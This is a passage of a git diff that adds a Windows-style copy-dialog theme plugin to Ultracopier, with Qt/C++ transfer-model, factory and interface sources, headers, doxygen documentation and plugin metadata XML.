+{
+ if ( role == Qt::DisplayRole && orientation == Qt::Horizontal && section >= 0 && section < COLUMN_COUNT ) {
+ switch ( section ) {
+ case 0:
+ return facilityEngine->translateText("Source");
+ case 1:
+ return facilityEngine->translateText("Size");
+ case 2:
+ return facilityEngine->translateText("Destination");
+ }
+ }
+
+ return QAbstractTableModel::headerData( section, orientation, role );
+}
+
+bool TransferModel::setData( const QModelIndex& index, const QVariant& value, int role )
+{
+ Q_UNUSED(index);
+ Q_UNUSED(value);
+ Q_UNUSED(role);
+ return true;
+}
+
+/*
+ Return[0]: totalFile
+ Return[1]: totalSize
+ Return[2]: currentFile
+ */
+QList<quint64> TransferModel::synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions)
+{
+ loop_size=returnActions.size();
+ index_for_loop=0;
+ emit layoutAboutToBeChanged();
+ while(index_for_loop<loop_size)
+ {
+ const Ultracopier::ReturnActionOnCopyList& action=returnActions.at(index_for_loop);
+ switch(action.type)
+ {
+ case Ultracopier::AddingItem:
+ {
+ this->totalFile++;
+ this->totalSize+=action.addAction.size;
+ }
+ break;
+ case Ultracopier::RemoveItem:
+ internalRunningOperation.remove(action.addAction.id);
+ startId.remove(action.addAction.id);
+ stopId.remove(action.addAction.id);
+ this->currentFile++;
+ break;
+ case Ultracopier::PreOperation:
+ {
+ ItemOfCopyListWithMoreInformations tempItem;
+ tempItem.currentProgression=0;
+ tempItem.generalData=action.addAction;
+ tempItem.generalData.destinationFullPath.remove(tempItem.generalData.destinationFullPath.size()-tempItem.generalData.destinationFileName.size(),tempItem.generalData.destinationFileName.size());
+ tempItem.generalData.sourceFullPath.remove(tempItem.generalData.sourceFullPath.size()-tempItem.generalData.sourceFileName.size(),tempItem.generalData.sourceFileName.size());
+ tempItem.actionType=action.type;
+ internalRunningOperation[action.addAction.id]=tempItem;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("set for file %1: actionType: PreOperation").arg(action.addAction.id));
+ }
+ break;
+ case Ultracopier::Transfer:
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("found entry for file %1: actionType: Transfer").arg(action.addAction.id));
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ stopId.remove(action.addAction.id);
+ if(internalRunningOperation.contains(action.addAction.id))
+ internalRunningOperation[action.addAction.id].actionType=action.type;
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to found entry for file %1: actionType: Transfer").arg(action.addAction.id));
+ }
+ break;
+ case Ultracopier::PostOperation:
+ {
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ startId.remove(action.addAction.id);
+ }
+ break;
+ case Ultracopier::CustomOperation:
+ {
+ bool custom_with_progression=(action.addAction.size==1);
+ //without progression
+ if(custom_with_progression)
+ {
+ if(startId.remove(action.addAction.id))
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ }
+ //with progression
+ else
+ {
+ stopId.remove(action.addAction.id);
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ }
+ if(internalRunningOperation.contains(action.addAction.id))
+ {
+ ItemOfCopyListWithMoreInformations &item=internalRunningOperation[action.addAction.id];
+ item.actionType=action.type;
+ item.custom_with_progression=custom_with_progression;
+ item.currentProgression=0;
+ }
+ }
+ break;
+ default:
+ //unknow code, ignore it
+ break;
+ }
+ index_for_loop++;
+ }
+ emit layoutChanged();
+ return QList<quint64>() << totalFile << totalSize << currentFile;
+}
+
+void TransferModel::setFacilityEngine(FacilityInterface * facilityEngine)
+{
+ this->facilityEngine=facilityEngine;
+}
+
+void TransferModel::setFileProgression(QList<Ultracopier::ProgressionItem> &progressionList)
+{
+ loop_size=progressionList.size();
+ index_for_loop=0;
+ while(index_for_loop<loop_size)
+ {
+ if(internalRunningOperation.contains(progressionList.at(index_for_loop).id))
+ {
+ internalRunningOperation[progressionList.at(index_for_loop).id].generalData.size=progressionList.at(index_for_loop).total;
+ internalRunningOperation[progressionList.at(index_for_loop).id].currentProgression=(progressionList.at(index_for_loop).currentRead+progressionList.at(index_for_loop).currentWrite)/2;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ progressionList.removeAt(index_for_loop);
+ index_for_loop--;
+ loop_size--;
+ #endif
+ }
+ index_for_loop++;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(progressionList.size()>0)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"progression remaning items");
+ #endif
+}
+
+TransferModel::currentTransfertItem TransferModel::getCurrentTransfertItem()
+{
+ currentTransfertItem returnItem;
+ returnItem.haveItem=startId.size()>0;
+ if(returnItem.haveItem)
+ {
+ if(!internalRunningOperation.contains(*startId.constBegin()))
+ {
+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation[*startId.constBegin()];
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName;
+ returnItem.size=facilityEngine->sizeToString(itemTransfer.generalData.size);
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_file=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=0;
+ break;
+ //should never pass here
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_file=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_file=0;
+ break;
+ default:
+ returnItem.progressBar_file=0;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ else
+ {
+ if(!internalRunningOperation.contains(*stopId.constBegin()))
+ {
+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ else
+ returnItem.haveItem=true;
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation[*stopId.constBegin()];
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName;
+ returnItem.size=facilityEngine->sizeToString(itemTransfer.generalData.size);
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_file=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=0;
+ break;
+ //should never pass here
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_file=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_file=0;
+ break;
+ default:
+ returnItem.progressBar_file=65535;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ return returnItem;
+}
diff --git a/plugins-alternative/Themes/Windows/TransferModel.h b/plugins-alternative/Themes/Windows/TransferModel.h
new file mode 100644
index 0000000..c2d89aa
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/TransferModel.h
@@ -0,0 +1,90 @@
+#ifndef TRANSFERMODEL_H
+#define TRANSFERMODEL_H
+
+#include <QAbstractTableModel>
+#include <QModelIndex>
+#include <QVariant>
+#include <QList>
+#include <QSet>
+#include <QIcon>
+#include <QString>
+
+#include "StructEnumDefinition.h"
+#include "Environment.h"
+
+#include "../../../interface/FacilityInterface.h"
+
+/// \brief model to store the transfer list
+class TransferModel : public QAbstractTableModel
+{
+ Q_OBJECT
+public:
+ /// \brief the transfer item displayed
+ struct transfertItem
+ {
+ quint64 id;
+ QString source;
+ QString size;
+ QString destination;
+ };
+ /// \brief the transfer item with progression
+ struct ItemOfCopyListWithMoreInformations
+ {
+ quint64 currentProgression;
+ Ultracopier::ItemOfCopyList generalData;
+ Ultracopier::ActionTypeCopyList actionType;
+ bool custom_with_progression;
+ };
+ /// \brief returned first transfer item
+ struct currentTransfertItem
+ {
+ quint64 id;
+ bool haveItem;
+ QString from;
+ QString to;
+ QString current_file;
+ QString size;
+ int progressBar_file;
+ };
+
+ TransferModel();
+
+ virtual int columnCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const;
+ virtual int rowCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const;
+ virtual bool setData(const QModelIndex& index, const QVariant& value, int role = Qt::EditRole);
+
+ QList<quint64> synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions);
+ void setFacilityEngine(FacilityInterface * facilityEngine);
+
+ void setFileProgression(QList<Ultracopier::ProgressionItem> &progressionList);
+
+ currentTransfertItem getCurrentTransfertItem();
+
+ quint64 currentFile;
+ quint64 totalFile;
+ quint64 currentSize;
+ quint64 totalSize;
+protected:
+ QSet<quint64> startId,stopId;///< To show what is started, what is stopped
+ QHash<quint64,ItemOfCopyListWithMoreInformations> internalRunningOperation;///< to have progression and stat
+ QIcon iconStart,iconPause,iconStop;
+private:
+ int loop_size,index_for_loop;
+ int sub_loop_size,sub_index_for_loop;
+ int row,column;
+ FacilityInterface * facilityEngine;
+ QString search_text;
+ /// \brief index from start the search, decresed by remove before it
+ int currentIndexSearch;
+ bool haveSearchItem;
+ quint64 searchId;
+signals:
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
+ #endif
+};
+
+#endif // TRANSFERMODEL_H
diff --git a/plugins-alternative/Themes/Windows/Variable.h b/plugins-alternative/Themes/Windows/Variable.h
new file mode 100644
index 0000000..963d0c8
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/Variable.h
@@ -0,0 +1,15 @@
+/** \file Variable.h
+\brief Define the environment variable
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef VARIABLE_H
+#define VARIABLE_H
+
+//Un-comment this next line to put ultracopier plugin in debug mode
+#define ULTRACOPIER_PLUGIN_DEBUG
+
+#endif // VARIABLE_H
+
+
+
diff --git a/plugins-alternative/Themes/Windows/documentation.dox b/plugins-alternative/Themes/Windows/documentation.dox
new file mode 100644
index 0000000..df43161
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/documentation.dox
@@ -0,0 +1,29 @@
+/* -*- mode: C++ ; c-file-style: "stroustrup" -*- **/
+
+/*
+ This file contains NO source code, just some documentation for doxygen to
+ parse.
+*/
+
+/*!
+ \mainpage Windows
+
+ \section mainpage_overview Overview
+
+ It's interface to have interface like windows for Ultracopier.\n
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier project as alternative plugin.
+
+ \section mainpage_platforms Platforms
+
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
+
+ \section mainpage_downloads Downloads
+
+ You can found link on <a href="http://ultracopier.first-world.info/">Ultracopier (Supercopier/Teracopy)</a> project page, via git, snapshot sources, ...
+
+ \section license GPL Version 3
+ The code source is under GPL3.
+
+*/
+
diff --git a/plugins-alternative/Themes/Windows/factory.cpp b/plugins-alternative/Themes/Windows/factory.cpp
new file mode 100644
index 0000000..dbce51a
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/factory.cpp
@@ -0,0 +1,74 @@
+/** \file factory.cpp
+\brief Define the factory core
+\author alpha_one_x86
+*/
+
+#include "factory.h"
+
+QRegularExpression ThemesFactory::slashEnd;
+QRegularExpression ThemesFactory::isolateName;
+
+ThemesFactory::ThemesFactory()
+{
+ slashEnd=QRegularExpression("/$");
+ isolateName=QRegularExpression("^.*/([^/]+)$");
+}
+
+PluginInterface_Themes * ThemesFactory::getInstance()
+{
+ Themes * newInterface=new Themes(facilityEngine);
+ connect(this,&ThemesFactory::reloadLanguage,newInterface,&Themes::newLanguageLoaded);
+ return newInterface;
+}
+
+void ThemesFactory::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,const bool &portableVersion)
+{
+ Q_UNUSED(options)
+ Q_UNUSED(writePath)
+ Q_UNUSED(pluginPath)
+ this->facilityEngine=facilityEngine;
+ Q_UNUSED(portableVersion)
+}
+
+QWidget * ThemesFactory::options()
+{
+ return NULL;
+}
+
+QIcon ThemesFactory::getIcon(const QString &fileName) const
+{
+ if(fileName=="SystemTrayIcon/exit.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("application-exit");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/add.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("list-add");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/informations.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("help-about");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/options.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("applications-system");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ return QIcon(":/Themes/Windows/resources/"+fileName);
+}
+
+void ThemesFactory::resetOptions()
+{
+}
+
+void ThemesFactory::newLanguageLoaded()
+{
+ emit reloadLanguage();
+}
diff --git a/plugins-alternative/Themes/Windows/factory.h b/plugins-alternative/Themes/Windows/factory.h
new file mode 100644
index 0000000..32ea9f1
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/factory.h
@@ -0,0 +1,45 @@
+/** \file factory.h
+\brief Define the factory, to create instance of the interface
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef FACTORY_H
+#define FACTORY_H
+
+#include <QObject>
+#include <QWidget>
+#include <QIcon>
+#include <QRegularExpression>
+
+#include "interface.h"
+#include "../../../interface/PluginInterface_Themes.h"
+
+/// \brief Define the factory, to create instance of the interface
+class ThemesFactory : public PluginInterface_ThemesFactory
+{
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.ThemesFactory/1.0.1.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_ThemesFactory)
+ public:
+ ThemesFactory();
+ /// \brief to return the instance of the copy engine
+ PluginInterface_Themes * getInstance();
+ /// \brief set the resources, to store options, to have facilityInterface
+ void setResources(OptionInterface * optionsEngine,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,const bool &portableVersion);
+ /// \brief to get the default options widget
+ QWidget * options();
+ /// \brief to get a resource icon
+ QIcon getIcon(const QString &fileName) const;
+ //regex
+ static QRegularExpression slashEnd;
+ static QRegularExpression isolateName;
+ signals:
+ void reloadLanguage();
+ public slots:
+ void resetOptions();
+ void newLanguageLoaded();
+ private:
+ FacilityInterface * facilityEngine;
+};
+
+#endif // FACTORY_H
diff --git a/plugins-alternative/Themes/Windows/informations.xml b/plugins-alternative/Themes/Windows/informations.xml
new file mode 100644
index 0000000..b0d6f22
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/informations.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<package>
+ <title xml:lang="en"><![CDATA[Windows dialog for Ultracopier]]></title><!-- english is required -->
+ <title xml:lang="fr"><![CDATA[Dialogue de Windows pour Ultracopier]]></title>
+ <!-- What kind of plugin this is -->
+ <category>Themes</category>
+ <!-- Who wrote this plugin -->
+ <author><![CDATA[BRULE Herman, alpha_one_x86 (alpha_one_x86@first-world.info)]]></author>
+ <!-- URL of page or site for this plugin (may provide additional information, bug reports, feature requests). -->
+ <website xml:lang="en"><![CDATA[http://ultracopier.first-world.info/]]></website><!-- not required -->
+ <website xml:lang="fr"><![CDATA[http://ultracopier-fr.first-world.info/]]></website><!-- not required -->
+ <!-- the date-time format should be in RFC822 format -->
+ <pubDate>1287496800</pubDate>
+ <!-- the architecture code of this plugin, found PlatformMacro.h into ultracopier source -->
+ <architecture>windows-x86</architecture>
+ <!-- Detailed description -->
+ <description xml:lang="en"><![CDATA[Windows dialog for Ultracopier, to have same copy dialog than windows vista/7/8]]></description>
+ <description xml:lang="fr"><![CDATA[Dialogue de Windows pour Ultracopier, pour avoir une boite de dialogue pour la copie comme windows vista/7/8]]></description>
+ <!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
+ <version>1.2.3.6</version>
+ <!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
+ <name>Windows</name>
+ <!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
+ <dependencies><![CDATA[
+ ]]></dependencies>
+</package> \ No newline at end of file
diff --git a/plugins-alternative/Themes/Windows/interface.cpp b/plugins-alternative/Themes/Windows/interface.cpp
new file mode 100644
index 0000000..e358f9c
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/interface.cpp
@@ -0,0 +1,414 @@
+/** \file interface.cpp
+\brief Define the interface core
+\author alpha_one_x86
+*/
+
+#include "interface.h"
+#include "factory.h"
+#include "ui_interface.h"
+
+Themes::Themes(FacilityInterface * facilityEngine) :
+ ui(new Ui::interface())
+{
+ ui->setupUi(this);
+ remainingSeconds= 0;
+ speed = 0;
+ progression_current=0;
+ progression_total=0;
+ modeIsForced = false;
+ haveStarted = false;
+ this->facilityEngine = facilityEngine;
+ transferModel.setFacilityEngine(facilityEngine);
+ menu=new QMenu(this);
+ ui->toolButton->setMenu(menu);
+ updateModeAndType();
+
+ connect(ui->actionAddFile,&QAction::triggered,this,&Themes::forcedModeAddFile);
+ connect(ui->actionAddFileToCopy,&QAction::triggered,this,&Themes::forcedModeAddFileToCopy);
+ connect(ui->actionAddFileToMove,&QAction::triggered,this,&Themes::forcedModeAddFileToMove);
+ connect(ui->actionAddFolderToCopy,&QAction::triggered,this,&Themes::forcedModeAddFolderToCopy);
+ connect(ui->actionAddFolderToMove,&QAction::triggered,this,&Themes::forcedModeAddFolderToMove);
+ connect(ui->actionAddFolder,&QAction::triggered,this,&Themes::forcedModeAddFolder);
+
+ updateDetails();
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(&transferModel,&TransferModel::debugInformation,this,&Themes::debugInformation);
+ #endif
+ #ifndef Q_OS_WIN32
+ ui->widget_bottom->setStyleSheet("background-color: rgb(237, 237, 237);");
+ #endif
+ show();
+}
+
+Themes::~Themes()
+{
+ delete menu;
+}
+
+void Themes::forcedModeAddFile()
+{
+ emit userAddFile(mode);
+}
+
+void Themes::forcedModeAddFolder()
+{
+ emit userAddFolder(mode);
+}
+
+void Themes::forcedModeAddFileToCopy()
+{
+ emit userAddFile(Ultracopier::Copy);
+}
+
+void Themes::forcedModeAddFolderToCopy()
+{
+ emit userAddFolder(Ultracopier::Copy);
+}
+
+void Themes::forcedModeAddFileToMove()
+{
+ emit userAddFile(Ultracopier::Move);
+}
+
+void Themes::forcedModeAddFolderToMove()
+{
+ emit userAddFolder(Ultracopier::Move);
+}
+
+void Themes::updateModeAndType()
+{
+ menu->clear();
+ if(modeIsForced)
+ {
+ menu->addAction(ui->actionAddFile);
+ if(type==Ultracopier::FileAndFolder)
+ menu->addAction(ui->actionAddFolder);
+ }
+ else
+ {
+ menu->addAction(ui->actionAddFileToCopy);
+ menu->addAction(ui->actionAddFileToMove);
+ if(type==Ultracopier::FileAndFolder)
+ {
+ menu->addAction(ui->actionAddFolderToCopy);
+ menu->addAction(ui->actionAddFolderToMove);
+ }
+ }
+}
+
+void Themes::closeEvent(QCloseEvent *event)
+{
+ event->ignore();
+ this->hide();
+ emit cancel();
+}
+
+void Themes::detectedSpeed(const quint64 &speed)
+{
+ this->speed=speed;
+ if(ui->more->isChecked())
+ ui->label_speed->setText(facilityEngine->speedToString(speed));
+}
+
+void Themes::setSupportSpeedLimitation(const bool &supportSpeedLimitationBool)
+{
+ Q_UNUSED(supportSpeedLimitationBool);
+}
+
+QWidget * Themes::getOptionsEngineWidget()
+{
+ return NULL;
+}
+
+void Themes::getOptionsEngineEnabled(const bool &isEnabled)
+{
+ Q_UNUSED(isEnabled)
+}
+
+void Themes::setCopyType(const Ultracopier::CopyType &type)
+{
+ this->type=type;
+ updateModeAndType();
+}
+
+void Themes::forceCopyMode(const Ultracopier::CopyMode &mode)
+{
+ modeIsForced=true;
+ this->mode=mode;
+ updateModeAndType();
+ updateInformations();
+}
+
+void Themes::updateTitle()
+{
+ remainingTime(remainingSeconds);
+}
+
+void Themes::actionInProgess(const Ultracopier::EngineActionInProgress &action)
+{
+ this->action=action;
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ ui->progressBar->setMaximum(65535);
+ ui->progressBar->setMinimum(0);
+ break;
+ case Ultracopier::Listing:
+ ui->progressBar->setMaximum(0);
+ ui->progressBar->setMinimum(0);
+ break;
+ case Ultracopier::Idle:
+ if(haveStarted)
+ emit cancel();
+ break;
+ default:
+ break;
+ }
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ haveStarted=true;
+ break;
+ default:
+ break;
+ }
+}
+
+void Themes::newTransferStart(const Ultracopier::ItemOfCopyList &item)
+{
+ ui->text->setText(item.sourceFullPath);
+}
+
+void Themes::newTransferStop(const quint64 &id)
+{
+ Q_UNUSED(id)
+}
+
+void Themes::newFolderListing(const QString &path)
+{
+ if(action==Ultracopier::Listing)
+ ui->text->setText(path);
+}
+
+void Themes::remainingTime(const int &remainingSeconds)
+{
+ this->remainingSeconds=remainingSeconds;
+
+ QString remainingTime;
+ if(remainingSeconds>=0)
+ remainingTime=facilityEngine->simplifiedRemainingTime(remainingSeconds);
+ else
+ remainingTime=facilityEngine->translateText(tr("Unknown remaining time"));
+
+ this->setWindowTitle(remainingTime);
+
+ if(ui->more->isChecked())
+ ui->label_remaining_time->setText(remainingTime);
+ else
+ updateInformations();
+}
+
+void Themes::newCollisionAction(const QString &action)
+{
+ Q_UNUSED(action)
+}
+
+void Themes::newErrorAction(const QString &action)
+{
+ Q_UNUSED(action)
+}
+
+void Themes::errorDetected()
+{
+}
+
+/// \brief new error
+void Themes::errorToRetry(const QString &source,const QString &destination,const QString &error)
+{
+ Q_UNUSED(source);
+ Q_UNUSED(destination);
+ Q_UNUSED(error);
+}
+
+void Themes::setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation)
+{
+ Q_UNUSED(transferListOperation)
+}
+
+//speed limitation
+bool Themes::setSpeedLimitation(const qint64 &speedLimitation)
+{
+ Q_UNUSED(speedLimitation)
+ return false;
+}
+
+//get information about the copy
+void Themes::setGeneralProgression(const quint64 &current,const quint64 &total)
+{
+ progression_current=current;
+ progression_total=total;
+ ui->progressBar->setValue(((double)current/total)*65535);
+}
+
+void Themes::setCollisionAction(const QList<QPair<QString,QString> > &list)
+{
+ Q_UNUSED(list)
+}
+
+void Themes::setErrorAction(const QList<QPair<QString,QString> > &list)
+{
+ Q_UNUSED(list)
+}
+
+//edit the transfer list
+void Themes::getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions)
+{
+ transferModel.synchronizeItems(returnActions);
+ updateInformations();
+}
+
+void Themes::haveExternalOrder()
+{
+ ui->toolButton->hide();
+}
+
+void Themes::isInPause(const bool &isInPause)
+{
+ //resume in auto the pause
+ if(isInPause)
+ emit resume();
+}
+
+void Themes::newLanguageLoaded()
+{
+ ui->retranslateUi(this);
+ updateTitle();
+ updateInformations();
+}
+
+void Themes::setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList)
+{
+ QList<Ultracopier::ProgressionItem> progressionListBis=progressionList;
+ transferModel.setFileProgression(progressionListBis);
+ updateInformations();
+}
+
+void Themes::on_more_toggled(bool checked)
+{
+ Q_UNUSED(checked);
+ updateDetails();
+ updateInformations();
+}
+
+void Themes::updateDetails()
+{
+ ui->text->setHidden(ui->more->isChecked());
+ ui->details->setHidden(!ui->more->isChecked());
+ if(ui->more->isChecked())
+ {
+ this->setMinimumHeight(242);
+ this->setMaximumHeight(242);
+ ui->more->setIcon(QIcon(":/Themes/Windows/resources/arrow-up.png"));
+ }
+ else
+ {
+ this->setMinimumHeight(168);
+ this->setMaximumHeight(168);
+ ui->more->setIcon(QIcon(":/Themes/Windows/resources/arrow-down.png"));
+ }
+
+ // usefull under windows
+ this->updateGeometry();
+ this->update();
+ this->adjustSize();
+
+ updateInformations();
+}
+
+void Themes::updateInformations()
+{
+ TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
+ if(!modeIsForced)
+ {
+ if(transferModel.totalFile>1)
+ ui->label_main->setText(tr("Transferring %n item(s) (%2)","",transferModel.totalFile).arg(facilityEngine->sizeToString(progression_total)));
+ else
+ ui->label_main->setText(tr("Transferring %n item(s) (%2)","",transferModel.totalFile).arg(facilityEngine->sizeToString(progression_total)));
+ }
+ else
+ {
+ if(mode==Ultracopier::Copy)
+ {
+ if(transferModel.totalFile>1)
+ ui->label_main->setText(tr("Copying %n item(s) (%2)","",transferModel.totalFile).arg(facilityEngine->sizeToString(progression_total)));
+ else
+ ui->label_main->setText(tr("Copying %n item(s) (%2)","",transferModel.totalFile).arg(facilityEngine->sizeToString(progression_total)));
+ }
+ else
+ {
+ if(transferModel.totalFile>1)
+ ui->label_main->setText(tr("Moving %n item(s) (%2)","",transferModel.totalFile).arg(facilityEngine->sizeToString(progression_total)));
+ else
+ ui->label_main->setText(tr("Moving %n item(s) (%2)","",transferModel.totalFile).arg(facilityEngine->sizeToString(progression_total)));
+ }
+ }
+
+ if(ui->more->isChecked())
+ {
+ if(transfertItem.haveItem)
+ {
+ QString simplifiedFrom=transfertItem.from;
+ QString simplifiedTo=transfertItem.to;
+ simplifiedFrom.remove(ThemesFactory::slashEnd);
+ simplifiedTo.remove(ThemesFactory::slashEnd);
+ simplifiedFrom.replace('\\','/');
+ simplifiedTo.replace('\\','/');
+ simplifiedFrom.replace(ThemesFactory::isolateName, "\\1");
+ simplifiedTo.replace(ThemesFactory::isolateName, "\\1");
+ ui->label_file->setText(transfertItem.current_file);
+ ui->label_from->setText(QStringLiteral("<b>%1</b> (%2)").arg(simplifiedFrom).arg(transfertItem.from));
+ ui->label_to->setText(QStringLiteral("<b>%1</b> (%2)").arg(simplifiedTo).arg(transfertItem.to));
+ ui->label_items->setText(QStringLiteral("%1 (%2)").arg(transferModel.totalFile-transferModel.currentFile).arg(facilityEngine->sizeToString(progression_total-progression_current)));
+ }
+ else
+ {
+ ui->label_file->setText("");
+ ui->label_from->setText("");
+ ui->label_to->setText("");
+ ui->label_items->setText(QStringLiteral("%1 (%2)").arg(transferModel.totalFile-transferModel.currentFile).arg(facilityEngine->sizeToString(progression_total-progression_current)));
+ }
+ }
+ else
+ {
+ if(transfertItem.haveItem)
+ {
+ QString remainingTime;
+ if(remainingSeconds>=0)
+ remainingTime=facilityEngine->simplifiedRemainingTime(remainingSeconds);
+ else
+ remainingTime=facilityEngine->translateText(tr("Unknown remaining time"));
+ QString simplifiedFrom=transfertItem.from;
+ QString simplifiedTo=transfertItem.to;
+ simplifiedFrom.remove(ThemesFactory::slashEnd);
+ simplifiedTo.remove(ThemesFactory::slashEnd);
+ simplifiedFrom.replace('\\','/');
+ simplifiedTo.replace('\\','/');
+ simplifiedFrom.replace(ThemesFactory::isolateName, "\\1");
+ simplifiedTo.replace(ThemesFactory::isolateName, "\\1");
+ ui->text->setText(
+ //: Sample: from <b>sources</b> (e:\folder\source) to <b>destination</b> (d:\desktop\destination)<br />About 5 Hours remaining
+ tr("from <b>%1</b> (%2) to <b>%3</b> (%4)<br />%5")
+ .arg(simplifiedFrom)
+ .arg(transfertItem.from)
+ .arg(simplifiedTo)
+ .arg(transfertItem.to)
+ .arg(remainingTime)
+ );
+ }
